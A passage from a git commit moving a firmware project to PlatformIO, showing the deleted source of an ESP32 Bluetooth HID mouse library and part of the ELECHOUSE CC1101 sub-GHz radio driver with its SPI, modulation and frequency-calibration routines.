Migrate to PlatformIO

Now since i have been able to make PSRAM working with platformio, i
don't have to use this shitty Arduino-IDE anymore which does not even
allow me to use subfolders like a normal programmer would do

32 files changed, 0 insertions, 4110 deletions

diff --git a/firmware/BleConnectionStatus.cpp b/firmware/BleConnectionStatus.cpp
deleted file mode 100644
index f01183b..0000000
--- a/firmware/BleConnectionStatus.cpp
+++ /dev/null
@@ -1,18 +0,0 @@
-#include "BleConnectionStatus.h"
-
-BleConnectionStatus::BleConnectionStatus(void) {
-}
-
-void BleConnectionStatus::onConnect(BLEServer* pServer)
-{
-  this->connected = true;
-  BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
-  desc->setNotifications(true);
-}
-
-void BleConnectionStatus::onDisconnect(BLEServer* pServer)
-{
-  this->connected = false;
-  BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
-  desc->setNotifications(false);
-}
diff --git a/firmware/BleConnectionStatus.h b/firmware/BleConnectionStatus.h
deleted file mode 100644
index b703150..0000000
--- a/firmware/BleConnectionStatus.h
+++ /dev/null
@@ -1,21 +0,0 @@
-#ifndef ESP32_BLE_CONNECTION_STATUS_H
-#define ESP32_BLE_CONNECTION_STATUS_H
-#include "sdkconfig.h"
-#if defined(CONFIG_BT_ENABLED)
-
-#include <BLEServer.h>
-#include "BLE2902.h"
-#include "BLECharacteristic.h"
-
-class BleConnectionStatus : public BLEServerCallbacks
-{
-public:
-  BleConnectionStatus(void);
-  bool connected = false;
-  void onConnect(BLEServer* pServer);
-  void onDisconnect(BLEServer* pServer);
-  BLECharacteristic* inputMouse;
-};
-
-#endif // CONFIG_BT_ENABLED
-#endif // ESP32_BLE_CONNECTION_STATUS_H
diff --git a/firmware/BleMouse.cpp b/firmware/BleMouse.cpp
deleted file mode 100644
index 84971ed..0000000
--- a/firmware/BleMouse.cpp
+++ /dev/null
@@ -1,173 +0,0 @@
-#include <BLEDevice.h>
-#include <BLEUtils.h>
-#include <BLEServer.h>
-#include "BLE2902.h"
-#include "BLEHIDDevice.h"
-#include "HIDTypes.h"
-#include "HIDKeyboardTypes.h"
-#include <driver/adc.h>
-#include "sdkconfig.h"
-
-#include "BleConnectionStatus.h"
-#include "BleMouse.h"
-
-#if defined(CONFIG_ARDUHAL_ESP_LOG)
-  #include "esp32-hal-log.h"
-  #define LOG_TAG ""
-#else
-  #include "esp_log.h"
-  static const char* LOG_TAG = "BLEDevice";
-#endif
-
-static const uint8_t _hidReportDescriptor[] = {
-  USAGE_PAGE(1),       0x01, // USAGE_PAGE (Generic Desktop)
-  USAGE(1),            0x02, // USAGE (Mouse)
-  COLLECTION(1),       0x01, // COLLECTION (Application)
-  USAGE(1),            0x01, //   USAGE (Pointer)
-  COLLECTION(1),       0x00, //   COLLECTION (Physical)
-  // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
-  USAGE_PAGE(1),       0x09, //     USAGE_PAGE (Button)
-  USAGE_MINIMUM(1),    0x01, //     USAGE_MINIMUM (Button 1)
-  USAGE_MAXIMUM(1),    0x05, //     USAGE_MAXIMUM (Button 5)
-  LOGICAL_MINIMUM(1),  0x00, //     LOGICAL_MINIMUM (0)
-  LOGICAL_MAXIMUM(1),  0x01, //     LOGICAL_MAXIMUM (1)
-  REPORT_SIZE(1),      0x01, //     REPORT_SIZE (1)
-  REPORT_COUNT(1),     0x05, //     REPORT_COUNT (5)
-  HIDINPUT(1),         0x02, //     INPUT (Data, Variable, Absolute) ;5 button bits
-  // ------------------------------------------------- Padding
-  REPORT_SIZE(1),      0x03, //     REPORT_SIZE (3)
-  REPORT_COUNT(1),     0x01, //     REPORT_COUNT (1)
-  HIDINPUT(1),         0x03, //     INPUT (Constant, Variable, Absolute) ;3 bit padding
-  // ------------------------------------------------- X/Y position, Wheel
-  USAGE_PAGE(1),       0x01, //     USAGE_PAGE (Generic Desktop)
-  USAGE(1),            0x30, //     USAGE (X)
-  USAGE(1),            0x31, //     USAGE (Y)
-  USAGE(1),            0x38, //     USAGE (Wheel)
-  LOGICAL_MINIMUM(1),  0x81, //     LOGICAL_MINIMUM (-127)
-  LOGICAL_MAXIMUM(1),  0x7f, //     LOGICAL_MAXIMUM (127)
-  REPORT_SIZE(1),      0x08, //     REPORT_SIZE (8)
-  REPORT_COUNT(1),     0x03, //     REPORT_COUNT (3)
-  HIDINPUT(1),         0x06, //     INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
-  // ------------------------------------------------- Horizontal wheel
-  USAGE_PAGE(1),       0x0c, //     USAGE PAGE (Consumer Devices)
-  USAGE(2),      0x38, 0x02, //     USAGE (AC Pan)
-  LOGICAL_MINIMUM(1),  0x81, //     LOGICAL_MINIMUM (-127)
-  LOGICAL_MAXIMUM(1),  0x7f, //     LOGICAL_MAXIMUM (127)
-  REPORT_SIZE(1),      0x08, //     REPORT_SIZE (8)
-  REPORT_COUNT(1),     0x01, //     REPORT_COUNT (1)
-  HIDINPUT(1),         0x06, //     INPUT (Data, Var, Rel)
-  END_COLLECTION(0),         //   END_COLLECTION
-  END_COLLECTION(0)          // END_COLLECTION
-};
-
-BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
-    _buttons(0),
-    hid(0)
-{
-  this->deviceName = deviceName;
-  this->deviceManufacturer = deviceManufacturer;
-  this->batteryLevel = batteryLevel;
-  this->connectionStatus = new BleConnectionStatus();
-}
-
-void BleMouse::begin(void)
-{
-  xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
-}
-
-void BleMouse::end(void)
-{
-}
-
-void BleMouse::click(uint8_t b)
-{
-  _buttons = b;
-  move(0,0,0,0);
-  _buttons = 0;
-  move(0,0,0,0);
-}
-
-void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
-{
-  if (this->isConnected())
-  {
-    uint8_t m[5];
-    m[0] = _buttons;
-    m[1] = x;
-    m[2] = y;
-    m[3] = wheel;
-    m[4] = hWheel;
-    this->inputMouse->setValue(m, 5);
-    this->inputMouse->notify();
-  }
-}
-
-void BleMouse::buttons(uint8_t b)
-{
-  if (b != _buttons)
-  {
-    _buttons = b;
-    move(0,0,0,0);
-  }
-}
-
-void BleMouse::press(uint8_t b)
-{
-  buttons(_buttons | b);
-}
-
-void BleMouse::release(uint8_t b)
-{
-  buttons(_buttons & ~b);
-}
-
-bool BleMouse::isPressed(uint8_t b)
-{
-  if ((b & _buttons) > 0)
-    return true;
-  return false;
-}
-
-bool BleMouse::isConnected(void) {
-  return this->connectionStatus->connected;
-}
-
-void BleMouse::setBatteryLevel(uint8_t level) {
-  this->batteryLevel = level;
-  if (hid != 0)
-      this->hid->setBatteryLevel(this->batteryLevel);
-}
-
-void BleMouse::taskServer(void* pvParameter) {
-  BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
-  BLEDevice::init(String(bleMouseInstance->deviceName.c_str()));
-  BLEServer *pServer = BLEDevice::createServer();
-  pServer->setCallbacks(bleMouseInstance->connectionStatus);
-
-  bleMouseInstance->hid = new BLEHIDDevice(pServer);
-  bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
-  bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
-
-  bleMouseInstance->hid->manufacturer()->setValue(String(bleMouseInstance->deviceManufacturer.c_str()));
-
-  bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
-  bleMouseInstance->hid->hidInfo(0x00,0x02);
-
-  BLESecurity *pSecurity = new BLESecurity();
-
-  pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
-
-  bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
-  bleMouseInstance->hid->startServices();
-
-  bleMouseInstance->onStarted(pServer);
-
-  BLEAdvertising *pAdvertising = pServer->getAdvertising();
-  pAdvertising->setAppearance(HID_MOUSE);
-  pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
-  pAdvertising->start();
-  bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
-
-  ESP_LOGD(LOG_TAG, "Advertising started!");
-  vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
-}
diff --git a/firmware/BleMouse.h b/firmware/BleMouse.h
deleted file mode 100644
index 8b4ab9b..0000000
--- a/firmware/BleMouse.h
+++ /dev/null
@@ -1,45 +0,0 @@
-#ifndef ESP32_BLE_MOUSE_H
-#define ESP32_BLE_MOUSE_H
-#include "sdkconfig.h"
-#if defined(CONFIG_BT_ENABLED)
-
-#include "BleConnectionStatus.h"
-#include "BLEHIDDevice.h"
-#include "BLECharacteristic.h"
-
-#define MOUSE_LEFT 1
-#define MOUSE_RIGHT 2
-#define MOUSE_MIDDLE 4
-#define MOUSE_BACK 8
-#define MOUSE_FORWARD 16
-#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
-
-class BleMouse {
-private:
-  uint8_t _buttons;
-  BleConnectionStatus* connectionStatus;
-  BLEHIDDevice* hid;
-  BLECharacteristic* inputMouse;
-  void buttons(uint8_t b);
-  void rawAction(uint8_t msg[], char msgSize);
-  static void taskServer(void* pvParameter);
-public:
-  BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
-  void begin(void);
-  void end(void);
-  void click(uint8_t b = MOUSE_LEFT);
-  void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
-  void press(uint8_t b = MOUSE_LEFT);   // press LEFT by default
-  void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
-  bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
-  bool isConnected(void);
-  void setBatteryLevel(uint8_t level);
-  uint8_t batteryLevel;
-  std::string deviceManufacturer;
-  std::string deviceName;
-protected:
-  virtual void onStarted(BLEServer *pServer) { };
-};
-
-#endif // CONFIG_BT_ENABLED
-#endif // ESP32_BLE_MOUSE_H
diff --git a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp b/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp
deleted file mode 100644
index 5568989..0000000
--- a/firmware/ELECHOUSE_CC1101_SRC_DRV.cpp
+++ /dev/null
@@ -1,1309 +0,0 @@
-/*

-  ELECHOUSE_CC1101.cpp - CC1101 module library

-  Copyright (c) 2010 Michael.

-    Author: Michael, <www.elechouse.com>

-    Version: November 12, 2010

-

-  This library is designed to use CC1101/CC1100 module on Arduino platform.

-  CC1101/CC1100 module is an useful wireless module.Using the functions of the 

-  library, you can easily send and receive data by the CC1101/CC1100 module. 

-  Just have fun!

-  For the details, please refer to the datasheet of CC1100/CC1101.

-----------------------------------------------------------------------------------------------------------------

-cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE).

-----------------------------------------------------------------------------------------------------------------

-*/

-#include <SPI.h>

-#include "ELECHOUSE_CC1101_SRC_DRV.h"

-#include <Arduino.h>

-

-/****************************************************************/

-#define   WRITE_BURST       0x40            //write burst

-#define   READ_SINGLE       0x80            //read single

-#define   READ_BURST        0xC0            //read burst

-#define   BYTES_IN_RXFIFO   0x7F            //byte number in RXfifo

-#define   max_modul 6

-

-SPIClass CCSPI(HSPI);

-

-byte modulation = 2;

-byte frend0;

-byte chan = 0;

-int pa = 12;

-byte last_pa;

-byte SCK_PIN;

-byte MISO_PIN;

-byte MOSI_PIN;

-byte SS_PIN;

-byte GDO0;

-byte GDO2;

-byte SCK_PIN_M[max_modul];

-byte MISO_PIN_M[max_modul];

-byte MOSI_PIN_M[max_modul];

-byte SS_PIN_M[max_modul];

-byte GDO0_M[max_modul];

-byte GDO2_M[max_modul];

-byte gdo_set=0;

-bool spi = 0;

-bool ccmode = 0;

-float MHz = 433.92;

-byte m4RxBw = 0;

-byte m4DaRa;

-byte m2DCOFF;

-byte m2MODFM;

-byte m2MANCH;

-byte m2SYNCM;

-byte m1FEC;

-byte m1PRE;

-byte m1CHSP;

-byte pc1PQT;

-byte pc1CRC_AF;

-byte pc1APP_ST;

-byte pc1ADRCHK;

-byte pc0WDATA;

-byte pc0PktForm;

-byte pc0CRC_EN;

-byte pc0LenConf;

-byte trxstate = 0;

-byte clb1[2]= {24,28};

-byte clb2[2]= {31,38};

-byte clb3[2]= {65,76};

-byte clb4[2]= {77,79};

-

-/****************************************************************/

-uint8_t PA_TABLE[8]     {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00};

-//                       -30  -20  -15  -10   0    5    7    10

-uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,};             //300 - 348

-uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,};             //387 - 464

-//                        -30  -20  -15  -10  -6    0    5    7    10   12

-uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,};  //779 - 899.99

-//                        -30  -20  -15  -10  -6    0    5    7    10   11

-uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,};  //900 - 928

-/****************************************************************

-*FUNCTION NAME:SpiStart

-*FUNCTION     :spi communication start

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiStart(void)

-{

-  // initialize the SPI pins

-  pinMode(SCK_PIN, OUTPUT);

-  pinMode(MOSI_PIN, OUTPUT);

-  pinMode(MISO_PIN, INPUT);

-  pinMode(SS_PIN, OUTPUT);

-

-  // enable SPI

-  #ifdef ESP32

-  CCSPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN);

-  #else

-  CCSPI.begin();

-  #endif

-}

-/****************************************************************

-*FUNCTION NAME:SpiEnd

-*FUNCTION     :spi communication disable

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiEnd(void)

-{

-  // disable SPI

-  CCSPI.endTransaction();

-  CCSPI.end();

-}

-/****************************************************************

-*FUNCTION NAME: GDO_Set()

-*FUNCTION     : set GDO0,GDO2 pin for serial pinmode.

-*INPUT        : none

-*OUTPUT       : none

-****************************************************************/

-void ELECHOUSE_CC1101::GDO_Set (void)

-{

-	pinMode(GDO0, OUTPUT);

-	pinMode(GDO2, INPUT);

-}

-/****************************************************************

-*FUNCTION NAME: GDO_Set()

-*FUNCTION     : set GDO0 for internal transmission mode.

-*INPUT        : none

-*OUTPUT       : none

-****************************************************************/

-void ELECHOUSE_CC1101::GDO0_Set (void)

-{

-  pinMode(GDO0, INPUT);

-}

-/****************************************************************

-*FUNCTION NAME:Reset

-*FUNCTION     :CC1101 reset //details refer datasheet of CC1101/CC1100//

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Reset (void)

-{

-	digitalWrite(SS_PIN, LOW);

-	delay(1);

-	digitalWrite(SS_PIN, HIGH);

-	delay(1);

-	digitalWrite(SS_PIN, LOW);

-	while(digitalRead(MISO_PIN));

-  CCSPI.transfer(CC1101_SRES);

-  while(digitalRead(MISO_PIN));

-	digitalWrite(SS_PIN, HIGH);

-}

-/****************************************************************

-*FUNCTION NAME:Init

-*FUNCTION     :CC1101 initialization

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Init(void)

-{

-  setSpi();

-  SpiStart();                   //spi initialization

-  digitalWrite(SS_PIN, HIGH);

-  digitalWrite(SCK_PIN, HIGH);

-  digitalWrite(MOSI_PIN, LOW);

-  Reset();                    //CC1101 reset

-  RegConfigSettings();            //CC1101 register config

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiWriteReg

-*FUNCTION     :CC1101 write data to register

-*INPUT        :addr: register address; value: register value

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value)

-{

-  SpiStart();

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(addr);

-  CCSPI.transfer(value); 

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiWriteBurstReg

-*FUNCTION     :CC1101 write burst data to register

-*INPUT        :addr: register address; buffer:register value array; num:number to write

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num)

-{

-  byte i, temp;

-  SpiStart();

-  temp = addr | WRITE_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  for (i = 0; i < num; i++)

-  {

-  CCSPI.transfer(buffer[i]);

-  }

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiStrobe

-*FUNCTION     :CC1101 Strobe

-*INPUT        :strobe: command; //refer define in CC1101.h//

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiStrobe(byte strobe)

-{

-  SpiStart();

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(strobe);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-/****************************************************************

-*FUNCTION NAME:SpiReadReg

-*FUNCTION     :CC1101 read data from register

-*INPUT        :addr: register address

-*OUTPUT       :register value

-****************************************************************/

-byte ELECHOUSE_CC1101::SpiReadReg(byte addr) 

-{

-  byte temp, value;

-  SpiStart();

-  temp = addr| READ_SINGLE;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  value=CCSPI.transfer(0);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-  return value;

-}

-

-/****************************************************************

-*FUNCTION NAME:SpiReadBurstReg

-*FUNCTION     :CC1101 read burst data from register

-*INPUT        :addr: register address; buffer:array to store register value; num: number to read

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num)

-{

-  byte i,temp;

-  SpiStart();

-  temp = addr | READ_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  for(i=0;i<num;i++)

-  {

-  buffer[i]=CCSPI.transfer(0);

-  }

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-}

-

-/****************************************************************

-*FUNCTION NAME:SpiReadStatus

-*FUNCTION     :CC1101 read status register

-*INPUT        :addr: register address

-*OUTPUT       :status value

-****************************************************************/

-byte ELECHOUSE_CC1101::SpiReadStatus(byte addr) 

-{

-  byte value,temp;

-  SpiStart();

-  temp = addr | READ_BURST;

-  digitalWrite(SS_PIN, LOW);

-  while(digitalRead(MISO_PIN));

-  CCSPI.transfer(temp);

-  value=CCSPI.transfer(0);

-  digitalWrite(SS_PIN, HIGH);

-  SpiEnd();

-  return value;

-}

-/****************************************************************

-*FUNCTION NAME:SPI pin Settings

-*FUNCTION     :Set Spi pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSpi(void){

-  if (spi == 0){

-  #if defined __AVR_ATmega168__ || defined __AVR_ATmega328P__

-  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;

-  #elif defined __AVR_ATmega1280__ || defined __AVR_ATmega2560__

-  SCK_PIN = 52; MISO_PIN = 50; MOSI_PIN = 51; SS_PIN = 53;

-  #elif ESP8266

-  SCK_PIN = 14; MISO_PIN = 12; MOSI_PIN = 13; SS_PIN = 15;

-  #elif ESP32

-  SCK_PIN = 18; MISO_PIN = 19; MOSI_PIN = 23; SS_PIN = 5;

-  #else

-  SCK_PIN = 13; MISO_PIN = 12; MOSI_PIN = 11; SS_PIN = 10;

-  #endif

-}

-}

-/****************************************************************

-*FUNCTION NAME:COSTUM SPI

-*FUNCTION     :set costum spi pins.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSpiPin(byte sck, byte miso, byte mosi, byte ss){

-  spi = 1;

-  SCK_PIN = sck;

-  MISO_PIN = miso;

-  MOSI_PIN = mosi;

-  SS_PIN = ss;

-}

-/****************************************************************

-*FUNCTION NAME:COSTUM SPI

-*FUNCTION     :set costum spi pins.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul){

-  spi = 1;

-  SCK_PIN_M[modul] = sck;

-  MISO_PIN_M[modul] = miso;

-  MOSI_PIN_M[modul] = mosi;

-  SS_PIN_M[modul] = ss;

-}

-/****************************************************************

-*FUNCTION NAME:GDO Pin settings

-*FUNCTION     :set GDO Pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setGDO(byte gdo0, byte gdo2){

-GDO0 = gdo0;

-GDO2 = gdo2;  

-GDO_Set();

-}

-/****************************************************************

-*FUNCTION NAME:GDO0 Pin setting

-*FUNCTION     :set GDO0 Pin

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setGDO0(byte gdo0){

-GDO0 = gdo0;

-GDO0_Set();

-}

-/****************************************************************

-*FUNCTION NAME:GDO Pin settings

-*FUNCTION     :add GDO Pins

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addGDO(byte gdo0, byte gdo2, byte modul){

-GDO0_M[modul] = gdo0;

-GDO2_M[modul] = gdo2;  

-gdo_set=2;

-GDO_Set();

-}

-/****************************************************************

-*FUNCTION NAME:add GDO0 Pin

-*FUNCTION     :add GDO0 Pin

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::addGDO0(byte gdo0, byte modul){

-GDO0_M[modul] = gdo0;

-gdo_set=1;

-GDO0_Set();

-}

-/****************************************************************

-*FUNCTION NAME:set Modul

-*FUNCTION     :change modul

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setModul(byte modul){

-  SCK_PIN = SCK_PIN_M[modul];

-  MISO_PIN = MISO_PIN_M[modul];

-  MOSI_PIN = MOSI_PIN_M[modul];

-  SS_PIN = SS_PIN_M[modul];

-  if (gdo_set==1){

-  GDO0 = GDO0_M[modul];

-  }

-  else if (gdo_set==2){

-  GDO0 = GDO0_M[modul];

-  GDO2 = GDO2_M[modul];

-  }

-}

-/****************************************************************

-*FUNCTION NAME:CCMode

-*FUNCTION     :Format of RX and TX data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCCMode(bool s){

-ccmode = s;

-if (ccmode == 1){

-SpiWriteReg(CC1101_IOCFG2,      0x0B);

-SpiWriteReg(CC1101_IOCFG0,      0x06);

-SpiWriteReg(CC1101_PKTCTRL0,    0x05);

-SpiWriteReg(CC1101_MDMCFG3,     0xF8);

-SpiWriteReg(CC1101_MDMCFG4,11+m4RxBw);

-}else{

-SpiWriteReg(CC1101_IOCFG2,      0x0D);

-SpiWriteReg(CC1101_IOCFG0,      0x0D);

-SpiWriteReg(CC1101_PKTCTRL0,    0x32);

-SpiWriteReg(CC1101_MDMCFG3,     0x93);

-SpiWriteReg(CC1101_MDMCFG4, 7+m4RxBw);

-}

-setModulation(modulation);

-}

-/****************************************************************

-*FUNCTION NAME:Modulation

-*FUNCTION     :set CC1101 Modulation 

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setModulation(byte m){

-if (m>4){m=4;}

-modulation = m;

-Split_MDMCFG2();

-switch (m)

-{

-case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK

-case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK

-case 2: m2MODFM=0x30; frend0=0x11; break; // ASK

-case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK

-case 4: m2MODFM=0x70; frend0=0x10; break; // MSK

-}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-SpiWriteReg(CC1101_FREND0,   frend0);

-setPA(pa);

-}

-/****************************************************************

-*FUNCTION NAME:PA Power

-*FUNCTION     :set CC1101 PA Power 

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPA(int p)

-{

-int a;

-pa = p;

-

-if (MHz >= 300 && MHz <= 348){

-if (pa <= -30){a = PA_TABLE_315[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];}

-else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];}

-else if (pa > 7){a = PA_TABLE_315[7];}

-last_pa = 1;

-}

-else if (MHz >= 378 && MHz <= 464){

-if (pa <= -30){a = PA_TABLE_433[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];}

-else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];}

-else if (pa > 7){a = PA_TABLE_433[7];}

-last_pa = 2;

-}

-else if (MHz >= 779 && MHz <= 899.99){

-if (pa <= -30){a = PA_TABLE_868[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];}

-else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];}

-else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];}

-else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];}

-else if (pa > 10){a = PA_TABLE_868[9];}

-last_pa = 3;

-}

-else if (MHz >= 900 && MHz <= 928){

-if (pa <= -30){a = PA_TABLE_915[0];}

-else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];}

-else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];}

-else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];}

-else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];}

-else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];}

-else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];}

-else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];}

-else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];}

-else if (pa > 10){a = PA_TABLE_915[9];}

-last_pa = 4;

-}

-if (modulation == 2){

-PA_TABLE[0] = 0;  

-PA_TABLE[1] = a;

-}else{

-PA_TABLE[0] = a;  

-PA_TABLE[1] = 0; 

-}

-SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8);

-}

-/****************************************************************

-*FUNCTION NAME:Frequency Calculator

-*FUNCTION     :Calculate the basic frequency.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setMHZ(float mhz){

-byte freq2 = 0;

-byte freq1 = 0;

-byte freq0 = 0;

-

-MHz = mhz;

-

-for (bool i = 0; i==0;){

-if (mhz >= 26){

-mhz-=26;

-freq2+=1;

-}

-else if (mhz >= 0.1015625){

-mhz-=0.1015625;

-freq1+=1;

-}

-else if (mhz >= 0.00039675){

-mhz-=0.00039675;

-freq0+=1;

-}

-else{i=1;}

-}

-if (freq0 > 255){freq1+=1;freq0-=256;}

-

-SpiWriteReg(CC1101_FREQ2, freq2);

-SpiWriteReg(CC1101_FREQ1, freq1);

-SpiWriteReg(CC1101_FREQ0, freq0);

-

-Calibrate();

-}

-/****************************************************************

-*FUNCTION NAME:Calibrate

-*FUNCTION     :Calibrate frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Calibrate(void){

-

-if (MHz >= 300 && MHz <= 348){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));

-if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 1){setPA(pa);}

-}

-}

-else if (MHz >= 378 && MHz <= 464){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));

-if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 2){setPA(pa);}

-}

-}

-else if (MHz >= 779 && MHz <= 899.99){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));

-if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

